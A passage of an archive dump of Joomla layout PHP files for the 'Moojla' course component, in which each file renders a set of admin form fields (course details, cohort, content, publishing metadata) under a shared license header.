.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'mcatid'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/category_map/index.html000064400000000054151165724400012717
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/category_map/publishing.php000064400000004357151165724400013611
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publishing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'title',
	'created',
	'created_by',
	'modified',
	'modified_by'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/category_map/publlshing.php000064400000004344151165724400013610
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publlshing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'published',
	'ordering',
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/cohort/details_left.php000064400000004273151165724400012725
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'mcohort'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/cohort/details_right.php000064400000004301151165724400013100
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_right.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'course_group'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/cohort/index.html000064400000000054151165724400011543
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/cohort/publishing.php000064400000004357151165724400012435
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publishing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'title',
	'created',
	'created_by',
	'modified',
	'modified_by'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/cohort/publlshing.php000064400000004344151165724400012434
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publlshing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'published',
	'ordering',
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/content/details_left.php000064400000004413151165724400013075
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'contents_module_id',
	'fileurl',
	'filesize',
	'mimetype',
	'type',
	'filename',
	'file'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/content/index.html000064400000000054151165724400011717
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/content/publishing.php000064400000004357151165724400012611
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publishing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'title',
	'created',
	'created_by',
	'modified',
	'modified_by'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/content/publlshing.php000064400000004344151165724400012610
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publlshing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'published',
	'ordering',
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/audio_left.php000064400000004374151165724400012405
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		audio_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'useglobalaudio',
	'preventdownloadaudio',
	'preloadaudio',
	'autoplayaudio'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/details_above.php000064400000004456151165724400013074
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_above.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'alias',
	'shortname',
	'fullname',
	'permanent_fields',
	'catid'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<div class="form-inline form-inline-header">
	<?php foreach($fields as $field): ?>
		<?php if (in_array($field, $hiddenFields)) : ?>
			<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
		<?php endif; ?>
		<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
	<?php endforeach; ?>
</div>
<?php endif; ?>
layouts/course/details_left.php000064400000004424151165724400012725
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'cat_id',
	'cat_name',
	'currency',
	'self_enrolment',
	'startdate',
	'summary_files',
	'teachers'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/details_right.php000064400000004372151165724400013112
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_right.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'cost',
	'remoteid',
	'guest',
	'in_enrol_date',
	'enddate',
	'summary'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/course/index.html000064400000000054151165724400011545
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/course/metadata.php000064400000003536151165724400012051
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		metadata.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$form = $displayData->getForm();

// JLayout for standard handling of metadata fields in the administrator
content edit screens.
$fieldSets = $form->getFieldsets('metadata');
?>

